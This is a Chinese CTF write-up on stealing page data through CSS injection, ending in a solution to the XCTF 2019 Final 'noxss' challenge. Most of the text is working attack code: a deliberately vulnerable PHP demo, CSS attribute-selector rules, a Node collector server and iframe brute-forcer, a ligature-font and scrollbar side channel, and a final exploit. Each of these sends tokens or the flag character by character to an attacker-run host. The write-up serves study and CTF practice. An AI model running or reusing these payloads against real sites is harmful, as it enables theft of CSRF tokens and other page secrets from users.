用 CSS 泄露信息是 XCTF 2019 final 一道题目 noxss 的考点,又学到了(留下了没有技术的泪水)

Stealing data in a great way - how to use CSS to attack webapplication

以下段落是我对 Stealing data in a great way - how to use CSS to attack webapplication 这篇文章的总结,主要分为两部分,一:利用 css 从 html 标签的属性中窃取 token;二:利用 css 直接从网站内容中提取 token。

我们利用以下页面作为攻击的 demo:

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<script>
	var TOKEN = "<?=$token2 ?>";
</script>

<style>
	<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>

可以看到我们生成了两个 token,分别是 <input> 标签的属性和 <script> 标签的内容,然后我们将通过 ?css= 这个注入点注入 css 代码来窃取相应的 token。

从标签属性中获得 token

第一步,我们先考虑从 input 标签窃取 token,这里可以考虑使用 CSS 选择器来辅助我们达成这一目的。简单介绍下 CSS 选择器,它其实是一种匹配模式,用于选择需要添加样式的元素,我们可以利用它来匹配含有特定 class、id、标签或者其它任意属性。下面是一些 CSS 选择器的基本例子:

CSS
/* 匹配整个 body 标签 */
body { }

/* 设置类名为 test 的标签的 css 属性 */
.test { }

/* 设置 id 为 test2 的标签的 css 属性 */
#test2 { }

/* 对 value 值为 "abc" 的 input 标签设置 css 属性 */
input[value="abc"] { }

/* 对 value 值以 "a" 开头的 input 标签设置 css 属性 */
input[value^="a"] { }

由于浏览器仅会在 CSS 规则匹配的时候触发 CSS 样式的修改,因此可以利用例子里的最后一条规则,通过属性值开头的字符来进行对 token 进行侧信道:

input[value^="0"] {
	background: url(http://your_server/0);
}
input[value^="1"] {
	background: url(http://your_server/1);
}
input[value^="2"] {
	background: url(http://your_server/2);
}
...
input[value^="e"] {
	background: url(http://your_server/e);
}
input[value^="f"] {
	background: url(http://your_server/f);
}

根据以上定义的规则,如果 token 以字符 a 开头的话,会也仅会满足 input[value^="a"] { background: url(http://your_server/a); } 规则,进而向服务器发出 http://your_server/a 的请求。

token

现在我们思考如何将上述过程自动化完成,毋庸置疑,完成以上过程大致需要如下几个步骤:

  1. 在 HTML 页面使用 JavaScript 自动生成 exp
  2. 一台 server 能接收并存储攻击获得的现有 token
  3. 浏览器能向 server 请求并获得已经获得的 token

然后我们考虑以 node 作为我们服务器的后端,然后相应的 package.json 如下:

{
  "name": "css-attack-1",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "dependencies": {
    "express": "^4.15.5",
    "js-cookie": "^2.1.4"
  },
  "devDependencies": {},
  "author": "",
  "license": "ISC"
}

服务端以 exprss 框架来处理 http 请求,然后用 js-cookie 库来存储 cookie。

然后创建 index.js

// index.js
const express = require('express');
const app = express();
// 关闭 express 默认开启的 etag
app.disable('etag');
 
const PORT = 3000;
 
app.get('/token/:token', (req, res) => {
	const { token } = req.params;
  // 在 cookie 中保存已经获得的 flag
	res.cookie('token', token);
	res.send('');
});
 
app.get('/cookie.js', (req, res) => {
	res.sendFile('js.cookie.js', {
		root: './node_modules/js-cookie/src/'
	});
});
 
app.get('/index.html', (req, res) => {
	res.sendFile('index.html', {
		root: '.'
	});
});
 
app.listen(PORT, () => {
	console.log(`Listening on ${PORT}...`);
})

server 主要有以下几个功能:

  1. 静态资源的提供:index.html / cookie.js
  2. 接受 /token/:token 的 GET 请求并将得到的 token 写入 cookie

然后是关键的 index.html 部分,其会通过创建一个 iframe 的方式逐位爆破 token 并将之发送到服务器端:

<!doctype html><meta charset=utf-8>
<script src="./cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
	(async function() {
		const EXPECTED_TOKEN_LENGTH = 32;
		const ALPHABET = Array.from("0123456789abcdef");
    const iframe = document.getElementById('iframe');
		let extractedToken = '';
		// 逐位爆破 token
		while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
			clearTokenCookie();
			createIframeWithCss();
			extractedToken = await getTokenFromCookie();
			// 将获得的 token 写到页面处
			document.getElementById('token').textContent = extractedToken;
		}
		// 读取 cookie
		function getTokenFromCookie() {
			return new Promise(resolve => {
				const interval = setInterval(function() {
					const token = Cookies.get('token');
					if (token) {
						clearInterval(interval);
						resolve(token);
					}
				}, 50);
			});
		}
		// 清除现有 cookie
		function clearTokenCookie() {
			Cookies.remove('token');
		}
		// 生成 exp
    function generateCSS() {
      let css = '';
      for (let char of ALPHABET) {
        css += `input[value^="${extractedToken}${char}"] {
background: url(http://192.168.1.180:3000/token/${extractedToken}${char})
}`;
      }      

      return css;
    }
    // 创建 iframe
		function createIframeWithCss() {
			iframe.src = 'http://192.168.1.180/demo.php?css=' + encodeURIComponent(generateCSS());
		}
	})();
</script>

获得 token1:

token1

简单总结:

如果存在相应对 CSS 注入点,我们可以利用以下规则获得 html 标签中的属性值:

element[attribute^="beginning"] {/ * ... * /}

2018 的 SECCON 的 web 题 Ghostkingdom 就考察了这种攻击,具体可以参考我写的题解:SECCON 2018 - Web Ghostkingdom / Shooter 题解

Extracting the token from the website content

上节介绍的攻击方式仅仅只能获得标签的属性值,但是不能对标签本身中包含的文本执行相同的操作(CSS 没有这种类型的选择器), 而 token2 以文本形式存在在 <script> 标签中,参考以下的例子:

<script>
	var TOKEN = "cd5fe9861e3ac3ddd1f6ebf0162c6a0e";
</script>

下面就要思考这样一个问题,我们如何获得相应的 token?首先我们需要验证 CSS 对 <script> 是有影响能力的,所以尝试对 <script> 标签编写 CSS 规则 script {display: block; color: red;},可以看到很明显的效果:

css => sscript

接下来我们需要思考一个问题,我们如何利用 CSS 来获得第二个 token?

这里介绍一种使用结合字体“连字”和滚动条样式进行侧信道的方式。具体关于连字的介绍,这里不再赘述,可以参看这篇文章:连字简述

我们创建如下字体,其中 “a-z” 的宽度为 0(horiz-adv-x="0"),但连字 “cssdemo” 宽度为 8000:

<svg>
  <defs>
    <font id="hack" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <missing-glyph />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="cssdemo" horiz-adv-x="8000" d="M1 0z"/>
    </font>
  </defs>
</svg>

由于浏览器不支持 SVG 格式的字体,但该格式的字体更直观更容易修改,因此这里我们使用 fontforge 将 SVG 格式转化为浏览器支持的 WOFF 格式。

编写如下转换脚本:

#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

执行脚本,得到 demo.woff 文件:

$ fontforge script.fontforge demo.svg
# convert demo.svg to demo.woff
$ ls
demo.svg  demo.woff  script.fontforge

然后我们来看一下该字体能带来什么效果,编写一个测试用的 html 文件:

<style>
@font-face {
    font-family: "hack";
    src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASIAA0AAAAABrQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAABMAAAAMQAAAET4n+DzUZGVE0AAAH0AAAAGgAAAByADBLyR0RFRgAAAhAAAAAiAAAAJgBmACVHUE9TAAACNAAAACAAAAAgbJF0j0dTVUIAAAJUAAAASgAAAFrZXdxXT1MvMgAAAqAAAABEAAAAYFXjXMBjbWFwAAAC5AAAAFgAAAFKYztWsWhlYWQAAAM8AAAAKgAAADYS7LEPaGhlYQAAA2gAAAAbAAAAJAN8QZVobXR4AAADhAAAABEAAABwRigAAG1heHAAAAOYAAAABgAAAAYAHFAAbmFtZQAAA6AAAADaAAABYiJRBKtwb3N0AAAEfAAAAAwAAAAgAAMAAHicY2RgYWFgZGRkzUhMzmZgZGJgZND4IcP0Q5b5hwRLNw9zNw9LNxCwyjDE8sswMAjIMEwRlGHglGHkEmJgBqnmYxBiEEuOLwbClPjU+Nz4fJBJYNOAwInBmcGFwZXBjcGdwYPBk8GLwZvBh8GXwY/BnyGAIZAhiCGYIYQhlCGMIZwhgiGSIYohmrGdQQboHg5uPkERcSlZBWU1TR19I1MLaztHF3cv34DgcJlDwnw9YtRE34C4W0TG8apoNw8XANH8N4h4nGNgYGBkAIIztovOg+ibzy0EYTQAS0sGjgAAeJxjYGRgYOADYjkGEGACQkYGKSCWBkImBhawGAMACm8AjAAAAAEAAAAKABwAHgABbGF0bgAIAAQAAAAA//8AAAAAAAB4nC2JSwqAMBQD5+ErloK46FLxBF6qqyIUV96/xg8hhMxgQGJjx1q5TiIuQu88xtpRixjfk/N3o7r+6yyMZMUJTMxixnADjk0GZwAAeJxjYGb8wjiBgZWBg6mLaQ8DA0MPhGZ8wGDIyMTAwMTAyswAA4wMSCAgzTWFwYEhkaGKWeG/BUMUhhoFIGQHAFrKCk14nGNgYGBmgGAZBkYGEHAB8hjBfBYGDSDNBqQZGZiArKr//8EqEkH0/wVQ9UDAyMaA4NAKMDIxs7CysXNwcnHz8PLxCwgKCYuIiolLSErR2maiAAC3ZQifeJxjYGRgYABijuXb7sTz23xl4GZ+ARRhuPncQhSZhgIOBiYQBQAt1wj9AAB4nGNgZGBgVvhvwRDl5MAAAYwMqEAGAD9gAlUAeJxjfsFAN+DkwMAAAGggAW4AAAAAAFAAABwAAHicXZA7TgMxEIa/TTbhKejS4o5qV/ZKKUhFlQNQpF9F1iYi2pWc5BLUCIljcABqrsXvMDTxyJ5vRv88ZOCWDwryKSi5Nh5xwYPxGMfWuJS9G0+44ct4qvyPlEV5pczlqSrziDvujcc882hcSvNmPGHGp/FU+W82tKx5hU271vtCpOPITumkMHbHXStYMtBzOPkkRdSiDTVefqH73+YvmlMRZJU0Xv5JDYb+sBxSF11Te7dweZzcvAqhanyQ4myTlWYk9vqOPNmpS57GKqb9duhdqP15yS9r5S4DAAB4nGNgZsALAAB9AAQ=);
}    
 
span {
    background: lightblue;
    font-family: "hack";
}

body {
    white-space: nowrap;
}
body::-webkit-scrollbar {
    background: blue;
}
body::-webkit-scrollbar:horizontal {
    background: url(http://127.0.0.1/success);
}
</style>
<input name=i oninput=span.textContent=this.value><br>
<span id=span>a</span>

可以看到当触发滚动条样式生效时,成功触发了请求:

test

由此我们的思路非常明确:

  1. 生成特定格式的字体,当我们想要猜测的内容恰好匹配字体的连字时,由于该连字的宽度非常大,会让页面滚动
  2. 设置滚动条样式,当触发页面滚动时带出信息

既然验证了可行性,下一步就是如何利用字体进行侧信道攻击,继续修改之前的服务端,首先添加几个库:

{
  "name": "css-attack-2",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.15.5",
    "js-cookie": "^2.1.4",
    "js2xmlparser": "^3.0.0",
    "rimraf": "^2.6.2",
    "tmp": "0.0.33"
  }
}

这里添加几个库的目的是方便对 tmp 文件夹进行操作,由于我们需要不断地调用 fontforge 来创建字体,因此对文件的读写操作非常频繁,所有需要方便地对临时文件进行操作。然后修改 index.js:

const express = require('express');
const app = express();
// 关闭 express 默认开启的 etag
app.disable('etag');
 
const PORT = 3001;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
 
// 为给定的前缀生成字体
// 第二个参数是待选的字符集
function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
                "@": {
                    "id": "hack",
                    "horiz-adv-x": "0"
                },
                "font-face": {
                    "@": {
                        "font-family": "hack",
                        "units-per-em": "1000"
                    }
                },
                "glyph": []
            }
        }
    };
    
    // 默认情况下所有字符为 0 宽度
    let glyphs = font.defs.font.glyph;
    for (let c = 0x20; c <= 0x7e; c += 1) {
        const glyph = {
            "@": {
                "unicode": String.fromCharCode(c),
                "horiz-adv-x": "0",
                "d": "M1 0z",
            }
        };
        glyphs.push(glyph);
    }
    
    // 待连字具有非常大的宽度,这里直接设为 10000
    charsToLigature.forEach(c => {
        const glyph = {
            "@": {
                "unicode": prefix + c,
                "horiz-adv-x": "10000",
                "d": "M1 0z",
            }
        }
        glyphs.push(glyph);
    });
    
    // 解析 svg 文件
    const xml = js2xmlparser.parse("svg", font);
    
    // 将 svg 文件转换为 woff 格式
    const tmpobj = tmp.dirSync();
    fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
    child_process.spawnSync("/usr/bin/fontforge", [
        `${__dirname}/script.fontforge`,
        `${tmpobj.name}/font.svg`
    ]);
 
    const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
    // 删除临时目录
    rimraf.sync(tmpobj.name);
 
    // 返回字体.
    return woff;
}
 
// 接受参数,并生成特定字体
app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;
    
    // 这里确保字体在缓存中
    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });
    
    res.send(createFont(prefix, Array.from(charsToLigature)));  
});
 
// 保存接受到的 token
app.get("/token/:chars", function(req, res) {
    console.log(req.params.chars);
    res.cookie('token', req.params.chars);
    res.set('Set-Cookie', `token=${encodeURIComponent(req.params.chars)}; Path=/`);
    res.send();
});
 
app.get('/cookie.js', (req, res) => {
	res.sendFile('js.cookie.js', {
		root: './node_modules/js-cookie/src/'
	});
});
 
app.get('/index.html', (req, res) => {
	res.sendFile('index.html', {
		root: '.'
	});
});
 
app.listen(PORT, () => {
	console.log(`Listening on ${PORT}...`);
})

然后修改第一部分的 index.html(这里不使用原文例子是因为其使用了包括二分在内的种种爆破技巧,难以理解)

<!doctype html><meta charset=utf-8>
<script src="./cookie.js"></script>
<big id=token></big><br>
<script>
	(async function() {
		const EXPECTED_TOKEN_LENGTH = 32;
		const ALPHABET = Array.from("0123456789abcdef");
		let extractedToken = await getTokenFromCookie();
		if (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
			clearTokenCookie();
			generateCSS();
		}
		// 读取 cookie
		function getTokenFromCookie() {
			return new Promise(resolve => {
				const interval = setInterval(function() {
					const token = Cookies.get('token');
					if (token) {
						clearInterval(interval);
						resolve(token);
					}
				}, 50);
			});
		}
		// 清除现有 cookie
		function clearTokenCookie() {
			Cookies.remove('token');
		}
		// 生成 exp
        function generateCSS() {
            for (let c of ALPHABET) {
                var css = '';
                css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://192.168.1.180:3001/token/${encodeURIComponent(extractedToken+c)})}`;
                css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://192.168.1.180:3001/font/${extractedToken}/${c});}`;
                css += `script{font-family:a${c.charCodeAt()};display:block}`
                createIframeWithCss(css);
            } 
        }
        // 创建 iframe
        function createIframeWithCss(css) {
            document.write('<iframe scrolling=yes samesite src="http://192.168.1.180/demo.php?css=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
        }
	})();
</script>

成功在监听的 server 处收到了爆破的 token:

attacker

server

简单总结:

如果存在一个可以利用的 CSS 注入,那么结合字体“连字”特性和滚动样式,可以侧信道出网页的任意内容。

实战 - XCTF 2019 Final / noxss2019

题目直接给了源码,源码审计后定位到 account/models.py,flag 会在 user 创建时作为用户属性被赋予用户。

@receiver(post_save, sender=User)
def create_or_update_user_profile(sender, instance, created, **kwargs):
    if created:
        Profile.objects.create(user=instance)
        instance.profile.secret = 'flag' if instance.is_staff else 'you have no secret'
    instance.profile.save()

结合 run.sh,很明显本题需要获得 admin 的 secret:

...
python manage.py shell -c "from bot_config import bot; from django.contrib.auth.models import User; User.objects.create_user(is_staff=True, **bot).save()"
...

继续审计代码,发现 account/userinfo.html 会使用 secret:

source

回到我们可控的输入点,很明显只有 theme 参数可以控制:

theme

但测试后发现此处无法闭合标签,注入的范围局限到了 CSS,但我们可以使用 %0f 进行逃逸从而写入任意 CSS 样式。

同时观察到 flag 的位置,位于 secret 标签内:

XCTF secret

很明显本题的考点就是上一节讲的,利用字体“连字”特性结合滚动条样式进行侧信道。

这里直接贴一下 ROIS - zsx 师傅的思路:

原理:

  1. 将页面宽度设置为100000px,保证不会出现滚动条;
  2. 隐藏页面内所有元素,然后将script标签显示出来;
  3. 为script标签设置字体,如果匹配到了对应字符,则显示滚动条;
  4. 通过滚动条接收当前字符。

把这个页面的URL直接交给bot,即可接收到一位的flag。之后逐位爆破即可。

然后我为了爆破方便继续改了前文的脚本,用了 ejs 模板直接渲染,这样每次可以少手动修改(偷懒):

const express = require('express');
const app = express();

app.disable('etag');
app.set('view engine','ejs');

const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');

const HOST = "www.syang.xyz"
const PORT = 3210;
let flag = 'xctf{dobra_robota_jestes_mistrzem_CSS'

function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
                "@": {
                    "id": "hack",
                    "horiz-adv-x": "0"
                },
                "font-face": {
                    "@": {
                        "font-family": "hack",
                        "units-per-em": "1000"
                    }
                },
                "glyph": []
            }
        }
    };

    let glyphs = font.defs.font.glyph;
    for (let c = 0x20; c <= 0x7e; c += 1) {
        const glyph = {
            "@": {
                "unicode": String.fromCharCode(c),
                "horiz-adv-x": "0",
                "d": "M1 0z",
            }
        };
        glyphs.push(glyph);
    }

    charsToLigature.forEach(c => {
        const glyph = {
            "@": {
                "unicode": prefix + c,
                "horiz-adv-x": "10000",
                "d": "M1 0z",
            }
        }
        glyphs.push(glyph);
    });

    const xml = js2xmlparser.parse("svg", font);

    const tmpobj = tmp.dirSync();
    fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
    child_process.spawnSync("/usr/bin/fontforge", [
        `${__dirname}/script.fontforge`,
        `${tmpobj.name}/font.svg`
    ]);

    const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);

    rimraf.sync(tmpobj.name);

    return woff;
}

app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;
    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });
    res.send(createFont(prefix, Array.from(charsToLigature)));
});

app.get("/flag/:chars", function(req, res) {
    //flag = req.params.chars
    console.log(req.params.chars);
    let c = req.params.chars[req.params.chars.length - 1];
    if(req.params.chars.includes(flag)) {
        flag = req.params.chars
    }
    res.send('flag')
});

app.get('/', (req, res) => {
    res.render('index', {
        flag: flag,
        host: HOST,
        port: PORT
    });
});

app.listen(PORT, () => {
	console.log(`Listening on ${PORT}...`);
})

index.ejs 如下:

<script>
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'.split('')
const prefix = '<%= flag %>'
chars.forEach(c => {
    let css = '?theme=../../../../\fa{}){}';
    css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://<%= host %>:<%= port %>/flag/${encodeURIComponent(prefix+c)})}`
    css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://<%= host %>:<%= port %>/font/${prefix}/${c});}`
    css += `script{font-family:a${c.charCodeAt()};display:block}`
    document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>

最终获得 flag:

flag

总结

本文总结了两种利用 CSS 泄露网页内容的攻击方式,第一种较为简单,但仅能泄露出标签属性;而第二种结合了字体和滚动条样式,攻击更为复杂但可以泄露的内容更多。

虽然 CSS 的注入并不能真正达到 XSS 的效果,但如果存在一个我们可以控制的 CSS 注入点,那么无论是属性,亦或是网页内的内容,我们都可以通过侧信道的方式带出,这同样会给用户带来安全上的隐患,比如说 csrf token 的泄露等问题。

参考